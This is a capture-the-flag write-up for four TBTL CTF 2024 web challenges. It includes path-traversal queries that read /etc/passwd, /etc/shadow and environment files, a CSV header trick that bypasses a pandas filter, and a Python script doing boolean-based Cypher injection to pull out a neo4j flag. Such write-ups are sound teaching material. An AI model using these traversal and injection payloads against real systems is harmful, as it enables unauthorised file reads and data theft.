Writeups for solved TBTL CTF 2024 challenges
Solved 4/4 web challenges which is nice
points : 600 rank : 96/791
#indexDB
#local-storage
#session-storage
We’ve noticed some unusual communication occurring on a particular website. Could you assist in uncovering any hidden secrets being exchanged through this seemingly innocent platform?
https://tbtl-butterfly.chals.io/
indexdb had some suspicious looking data (flag)
U2FsdGVkX19wWL7itIL7TZcLTP/e1ulrZolI9AHTA8OBGOCodbZKdOxPF41rGV9C+X7PZPt9ISJKQMpTl+Fwew==
Local storage stored some source code
1
{"code":"CryptoJS.AES.decrypt(CIPHERTEXT, KEY).toString(CryptoJS.enc.Utf8)"}
Session storage stored the secret AES key!
1
secret key is very secure
From this we have the algo, key and the ciphertext. We can decrypt it in JS
console.js
1
2
3
var CIPHERTEXT = "U2FsdGVkX19wWL7itIL7TZcLTP/e1ulrZolI9AHTA8OBGOCodbZKdOxPF41rGV9C+X7PZPt9ISJKQMpTl+Fwew=="
var KEY = "secret key is very secure"
CryptoJS . AES . decrypt ( CIPHERTEXT , KEY ). toString ( CryptoJS . enc . Utf8 )
flag: TBTL{th15_1S_n0t_53CUR3_5T0r4G3}
#lfi
LFI challenge that has a test.php
rabbit hole
Standard files can be found and if we just look around we can find the flag stored in database.sqlite
.
solve script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
url = "https://tbtl-talk-to-you.chals.io/"
query = "?page=/../ctf/index.php"
query = "?page=/../../../../../../../../../../proc/self/environ"
query = "?page=/../../../../../../../../../../etc/passwd"
query = "?page=/../../../../../../../../../../etc/shadow"
query = "?page=/../../../../../../../../../../flag.txt"
query = "?page=database.sqlite"
# query="?page=php://filter/convert.base64-encode/resource=/etc/test.php"
r = requests . get ( url + query )
# r = requests.get(test)
print ( r . headers )
print ( r . text )
flag: TBTL{4Typ1c41_d4T4B453_u54g3}
#csv-injection
#pandas
I guess theres some CSV Injection to trick intended pandas query
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from flask import Flask , request , send_file
from io import StringIO , BytesIO
import pandas as pd
import requests
app = Flask ( __name__ )
@app.route ( "/" )
def index ():
return app . send_static_file ( 'index.html' )
@app.route ( "/generate" , methods = [ 'POST' ])
def generate ():
data = request . form
delimiter_const = 'delimiter'
r = requests . post ( 'http://127.0.0.1:5001' , data = data )
if r . text == 'ERROR' :
return 'ERROR'
csv = StringIO ( r . text )
df = pd . read_csv ( csv )
# Filter out secrets
first = list ( df . columns . values )[ 1 ]
df = df . query ( f ' { first } != "FLAG"' )
string_df = StringIO ( df . to_csv ( index = False , sep = data [ delimiter_const ]))
bytes_df = BytesIO ()
bytes_df . write ( string_df . getvalue () . encode ())
bytes_df . seek ( 0 )
return send_file ( bytes_df , download_name = "data.csv" )
The important code here is the filtering of 2nd column, if we manage to move the columns before insert we can leak the flag
1
2
3
# Filter out secrets
first = list ( df . columns . values )[ 1 ]
df = df . query ( f ' { first } != "FLAG"' )
If we send newline \n
and ,
the resulting CSV table will be moved and the word FLAG
will move to the first column
1
2
3
4
5
6
7
8
9
10
11
12
import requests
url = "https://tbtl-rnd-for-data-science.chals.io/generate"
data = {
"numColumns" : 2 ,
"columnName0" : "test \n " ,
"columnName1" : "rank," ,
"delimiter" : ","
}
r = requests . post ( url , data = data )
print ( r . text )
flag: TBTL{d4T4_5c13nc3_15_n07_f0r_r0ck135}
#neo4j
#graphql
Injection challenge in neo4j graphql.
The query searches a start station and end station id and does some calculation and returns the distance from each other. There is a station in which the flag is hidden. Another challenge is that it converts the distance returned from the query as an integer
For my solution, I moslty read the docs and used chat-gpt for this challenge
https://neo4j.com/docs/cypher-manual/current/functions/string/
I was trying to convert to ascii code initially but not able to make it work. This just became boolean-based injection in the end.
source code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from flask import Flask , render_template , url_for , redirect , request
from neo4j import GraphDatabase
app = Flask ( __name__ )
URI = "bolt://localhost:7687"
AUTH = ( "" , "" )
def query ( input_query ):
with GraphDatabase . driver ( URI , auth = AUTH ) as driver :
driver . verify_connectivity ()
session = driver . session ()
tx = session . begin_transaction ()
records = [ t for t in tx . run ( input_query )]
tx . rollback ()
return records
@app.route ( "/" )
def index ():
distance = request . args . get ( 'distance' )
stations = query ( 'MATCH (n:Station) RETURN n.id, n.name ORDER BY n.id DESC;' )
return render_template ( 'index.html' , stations = stations , distance = distance )
@app.route ( "/search" , methods = [ 'POST' ])
def search ():
start = request . form [ "startStation" ]
end = request . form [ 'endStation' ]
distance_query = f 'MATCH (n {{ id: { start } }} )-[p *bfs]-(m {{ id: { end } }} ) RETURN size(p) AS distance;'
# distance_query = 'MATCH (n {id: city1})-[p *bfs]-(m {id: city2}) RETURN size(p) AS distance;'
distance = query ( distance_query )
if len ( distance ) == 0 :
distance = 'unknown'
else :
distance = int ( distance [ 0 ][ 'distance' ])
return redirect ( url_for ( '.index' , distance = distance ))
Initial query looks like this
1
2
3
distance_query = f 'MATCH (n {{ id: { start } }} )-[p *bfs]-(m {{ id: { end } }} ) RETURN size(p) AS distance;'
# injected
distance_query = 'MATCH (n {id: 1} )//})-[p *bfs]-(m {id: 2} ) RETURN size(p) AS distance;'
sample payload wlll look like
1
2
3
4
5
6
7
# returns 1 if substring index 0 of n.name is "F"
payload = "-1}) RETURN toInteger(replace(substring(n.name, 0, 1), \" F \" , \" 1 \" )) AS distance;//
# payload injected
distance_query = 'MATCH (n {id: -1}) RETURN toInteger(replace(substring(n.flag,"+str(i)+", 1), \" "+q+" \" , \" 1337 \" )) AS distance;//})-[p *bfs]-(m {id: 2} ) RETURN size(p) AS distance;'
# })-[p *bfs]-(m {id: 2}) RETURN size(p) AS distance; gets commented out
solve.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests
import re
url = 'https://tbtl-mexico-city-tour.chals.io/search'
# distance_query = 'MATCH (n {id: 1})//})-[p *bfs]-(m {id: 2}) RETURN size(p) AS distance;'
def querier ( i , q ):
# generate a single query
payload = "-1}) RETURN toInteger(replace(substring(n.flag," + str ( i ) + ", 1), \" " + q + " \" , \" 1337 \" )) AS distance;//"
data = {
"startStation" : payload ,
"endStation" : "1" ,
}
return data
def main ():
_min = 32
_max = 126
flag = ""
for i in range ( 0 , 30 ):
for c in range ( _min , _max ):
q = chr ( c )
data = querier ( i , q )
r = requests . post ( url , data = data )
if re . search ( r '1337' , r . text ):
flag += q
print ( flag )
break
else :
pass
if __name__ == "__main__" :
main ()
flag: TBTL{wh3R3_15_mY_GR4PH_h1dd3n}